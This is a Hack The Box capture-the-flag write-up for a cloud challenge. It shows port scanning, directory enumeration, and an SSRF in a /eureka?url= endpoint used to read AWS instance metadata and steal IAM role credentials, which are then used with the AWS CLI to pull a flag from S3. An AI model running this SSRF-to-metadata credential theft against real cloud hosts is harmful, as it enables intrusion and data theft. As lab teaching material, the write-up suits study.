We just launched our brand new pierce inventory which has wide variety of antique jewellery collection. Order before we run out of the stock.
Category: Cloud
Solver: rgw, linaScience
Flag: HTB{f0rg3ry_t0_IMDS_1s_fun!!!}
Writeup
We get an IP address and run a full port scan with host detection (nmap -p- -A
). We see three open ports:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| [...]
8000/tcp open http Werkzeug httpd 2.0.3 (Python 3.8.10)
|_http-title: Site doesn't have a title (application/json).
|_http-favicon: Unknown favicon MD5: 05D7D8C4C62484FB5DB1C78E05D739A1
| http-methods:
| Supported Methods: OPTIONS DELETE PUT POST HEAD GET
|_ Potentially risky methods: DELETE PUT
|_http-server-header: Werkzeug/2.0.3 Python/3.8.10
9000/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Pierce Shopping
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
When requesting port 8000, we get the JSON response {"Server":"Localstack","Status":"running"}
. We find out that Localstack [1] is a fully functional local cloud stack. It seems like port 8000 is its exposed management port. Since access to the management port is unauthenticated by default, we use the AWS CLI tool [2] to interact with it:
$ aws configure
AWS Access Key ID [None]: foo
AWS Secret Access Key [None]: bar
Default region name [us-east-1]:
Default output format [None]:
$ aws --endpoint-url=http://10.129.136.92:8000/ s3 ls
An error occurred (InvalidClientTokenId) when calling the ListBuckets operation: The security token included in the request is invalid
It seems like LocalStack is not configured to allow any access key. To interact with LocalStack, we need to obtain some credentials. Therefore, we look at port 9000 and get greeted by an online shop:
The online shopping site does nothing, so we look further and try accessing .env
, .git
and running gobuster
[3] to find other URLs:
$ gobuster dir -u http://10.129.136.92:9000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x html
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.136.92:9000/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: html
[+] Timeout: 10s
===============================================================
2022/03/27 12:52:21 Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 21885]
/eureka (Status: 400) [Size: 42]
[!] Keyboard interrupt detected, terminating.
===============================================================
2022/03/27 13:01:49 Finished
===============================================================
We find the URL /eureka
which returns Error. You need supply a valid eureka URL.
Eureka seems to be an AWS Service Registry [4]. We try different GET parameters for the endpoint and have success with /eureka?url=http://localhost:8000
which returns {"Server":"Localstack","Status":"running"}
again. Therefore, we have an unrestricted Server-Side Request Forgery (SSRF) on our server. We find an article [5] that explains the exploitation of SSRF in cloud environments. In short, in AWS and some other cloud providers, there is a “magic IP” 169.254.169.254
which runs the instance metadata sevice [6]. This IP can only be requested from the machine itself. Since we have SSRF on our target, we can access metadata by requesting e.g. http://10.129.136.92:9000/eureka?url=http://169.254.169.254:80/latest/meta-data/iam/info
which returns
{
"Code" : "Success",
"LastUpdated" : "2021-11-25T11:48:15Z",
"InstanceProfileArn" : "arn:aws:iam::215284862002:instance-profile/s3-role",
"InstanceProfileId" : "AIPATEH72JQZBDFPXYB63"
}
We see a role s3-role
and request http://10.129.136.92:9000/eureka?url=http://169.254.169.254:80/latest/meta-data/iam/security-credentials/s3-role
which results in:
{
"Code" : "Success",
"LastUpdated" : "2021-11-25T11:48:02Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIACGN72DQZCWMP4V9M",
"SecretAccessKey" : "oKXAKkSNuEmRvgloN5sb2S/U9APaCOv6WqhbXkBe",
"Token" : "IQoJb3JpZ2luX2VjEKz//////////wEaCXVzLWVhc3QtMSJGMEQCIF0l1OEWVQhpva/crqlmrGWBx6l734r4CmwasrDaDqJmAiApPL55X3dg4Gy7PTh5RvkevNfg/TonvT7toCE5nTw3TCr6Awh1EAAaDDIxNTI4NDg2MjAwMiIMwB4lNnNFsVTx2ybBKtcDoBY4WJMZuQOGdHiApIgMhEKPNPmklxGpkKDUTUj0MsSvK5ZocLfwaIw0Eclt5O66ORf/IMrYkVnwLUbpUedVqqnQQtEiAsPMt020GHcKnHKTmzYKe68lgeNPHQyK7N+xzmCr4uqff7na2AfHNzedKgKrwojaZ9WkNZ/n7kE61Dq8qc/ed+zrL8wko3xZ7ioWiQqVXni/M9HHZHJx5zGkwB1SwTP9PXQwe8JOuunEpV1/mfD9q7WbnD8Bdx4zWdZBfXQgTepghQ4OtJu0+kEmMCD0csDDBZoFTHF7Sjz9PKLELNQ8ZABFXGSLJjiBiLB6ugsB3vyAaXfFFHNdtSleGF9OJ0GjxnaqmqZ7h2ORGgtSfVrrn5hWjQ8qofdSiMNuwBhvCnPAWnVMJFp4IuIMez8efgCBwiM5FARWiFXZZuRtK8omA5yi7VHdoNpG1VmuZJ9JZLEqRf1lM2j0fEPJYHKfRwJ4CmSGadiOwjRqjNpbmuiXdZObUKHvpJexL1zOaprP/n3sgzwQp3YDofg1G2gFQXhCxZxZU9va5dSkNoNRB/fgKwM9ZB7FzfqbaMFXoncC4OqR23iqe9yrw7u/UuU5lh4+/M8YAh0j0ZBfr1Q1E82jC/RVMP/v/YwGOqYBFdycNOJZYbnlPhGRamErhL9WAvgr7qtal1dnLQvSLFr4PE7bKn33rMRSZnlxr/giV7oyOSt1LAgHvBhkxqQj6EXgs3/NMq51y+6DvdAjHByHYic7N10bkpO346dOHZjt4Eu7Tz4slwRpiVzWmCoYjtPdauMtzfe5D/pllVTj+j2WOYZEezyxJsC+haAKhZL5SUzE7FCzcd0D5Vj6u86o56zXnQsKew==",
"Expiration" : "2021-11-25T18:23:15Z"
}
We can use the AccessKeyId
and the SecretAccessKey
to configure the AWS CLI. Because of the role name, we assume access to S3 and can access the flag now:
$ aws --endpoint-url=http://10.129.136.92:8000 s3 ls
2022-03-27 12:36:26 private-02012022
2022-03-27 12:36:28 assets
$ aws --endpoint-url=http://10.129.136.92:8000 s3 ls private-02012022
2022-03-27 12:36:30 31 flag.txt
$ aws --endpoint-url=http://10.129.136.92:8000 s3 cp s3://private-02012022/flag.txt ./flag.txt
download: s3://private-02012022/flag.txt to ./flag.txt
$ cat flag.txt
HTB{f0rg3ry_t0_IMDS_1s_fun!!!}
Other resources
[2] https://aws.amazon.com/cli/
[3] https://github.com/OJ/gobuster
[4] https://github.com/Netflix/eureka
[5] https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
[6] https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/environments-cfg-ec2-imds.html